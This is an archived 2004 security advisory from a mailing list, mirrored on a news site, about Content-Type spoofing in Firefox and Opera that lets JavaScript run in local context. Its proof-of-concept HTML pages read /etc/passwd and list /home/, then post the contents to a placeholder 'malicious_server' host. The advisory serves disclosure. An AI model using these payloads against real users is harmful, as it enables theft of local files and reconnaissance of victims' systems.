The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[NEWS] Content-Type Spoofing in Mozilla Firefox and Opera Allows Users to Bypass Security Restrictions


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 16 Dec 2004 14:50:52 +0200
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Subject: [NEWS] Content-Type Spoofing in Mozilla Firefox and Opera Allows Users to Bypass Security Restrictions

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Content-Type Spoofing in Mozilla Firefox and Opera Allows Users to Bypass 
Security Restrictions
------------------------------------------------------------------------


SUMMARY

A problem exists in some browsers where it is possible by a Content-Type 
spoofing to "force" the target user to open a page and bypass the security 
zone and execute JavaScript in local context.

DETAILS

Browsers tested:
 * Firefox version 1.0
 * Mozilla version 1.7.x
 * Opera version 7.54 (*)
 * Konqueror version 3.3.1
 * Epiphany
 * Internet Explorer version 6 with SP1
 * Internet Explorer version 6 with SP1 + SP2

Browsers affected:
 * Firefox version 1.0
 * Mozilla version 1.7.x
 * Opera version 7.51 up to version 7.54 (inclusive)

When the user "victim" visits http://malicious_server/paage.html, if 
malicious_server responds with a page containing an unknown Content-Type 
field (for example text/html., note the dot at the end of the file), the 
browser will show a dialog window with some options (open, save, cancel). 
Choosing "Open" to view this page, it will be downloaded and opened in 
local ; JavaScript code will be executed in local context. Obviously, if 
the user chooses to save and open it after the result is equal.

Giovanni tested this with some browsers but it seems that only Mozilla 
Firefox and Opera(*) are exploitable in this mode.

(*) For Opera, this method of exploitation requires that opera must be set 
as Default Application in "handler for saved files" in case the user 
chooses "Open" in the dialog window.

Impact:
It could allow remote users to:

 * Obtain the content of /home/ directory ( or c:\Documents and Settings\ 
for windows systems ) and therefore gather a set of usernames present on 
the target system


 * Know if a particular program is installed on the target system for a 
successive attack


 * Read the content of confidential files


 * Read the browser's cache


In opera it is located in ~/.opera/cache4, instead in Mozilla Firefox it's 
in /.mozilla/firefox/$RANDOM-STRING.default/Cache. Since it is possible to 
enumerate the directory structure , a malicious user could easily know the 
path to firefox's cache.

Proof of concept:
The following PoCs are exploit the Linux version of Firefox and Opera, but 
they can be also applied to Windows versions. In order to test 
Content-Type spoofing Giovanni has modified an open source web server to 
make it respond with a spoofed Content-Type.

Read a local file utilizing inner.HTML method:
< HTML>
< BODY onLoad="ReadFileContent()" >
< iframe name="local_file" src="file:///etc/passwd" height=0 
width=0></iframe>
< form name="module" method="post" 
action="http://malicious_server/grab.php" ENCTYPE="text/plain">
< input name="content" type="hidden" size="300" >
</form>

< script>
function ReadFileContent(){
alert(local_file.document.all(0).innerHTML);
document.module.content.value+=local_file.document.firstChild.innerHTML;
//send content to malicious_server
document.module.submit();
}
</script>
</body>
</html>

(*) works with Firefox, with Opera it works only if a file has a .htm or 
HTML extension.

List the directory structure:
< html>
< body onLoad="
for(i=0;i<local_files.document.links.length;i++)
{document.module.content.value+=local_files.document.links.item(i);}
alert(document.module.content.value);
//send list_files at malicious_server
document.module.submit();
">
< form name="module" method="post" 
action="http://malicious_server/grab.php" ENCTYPE="text/plain">
< input name="content" type="hidden" size="300" >
</form>
< iframe name="local_files" src="file:///home/" height=0 width=0></iframe>
</body>
</html>

Vendor status:
24th November 2004: Giovanni has contacted mozilla by [email protected] 
and Opera by its bug track page at  <https://bugs.opera.com/wizard/> 
https://bugs.opera.com/wizard/.

Response from Mozilla  
<https://bugzilla.mozilla.org/show_bug.cgi?id=273419> 
https://bugzilla.mozilla.org/show_bug.cgi?id=273419:

"The problem is that Mozila utilizes the mime-type for served  HTTP 
documents but it does use the extension for opening local files. To 
workaround this, you should disable the "open with" option. This would 
move the "who is to blame" around to the user because he has to go through 
the OS Filemanager to open it."


ADDITIONAL INFORMATION

The information has been provided by  <mailto:badpenguin@zone-h.org.> 
Giovanni Delvecchio.
The original article can be found at:  
<http://www.zone-h.org/en/advisories/read/id=6502/>; 
http://www.zone-h.org/en/advisories/read/id=6502/




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру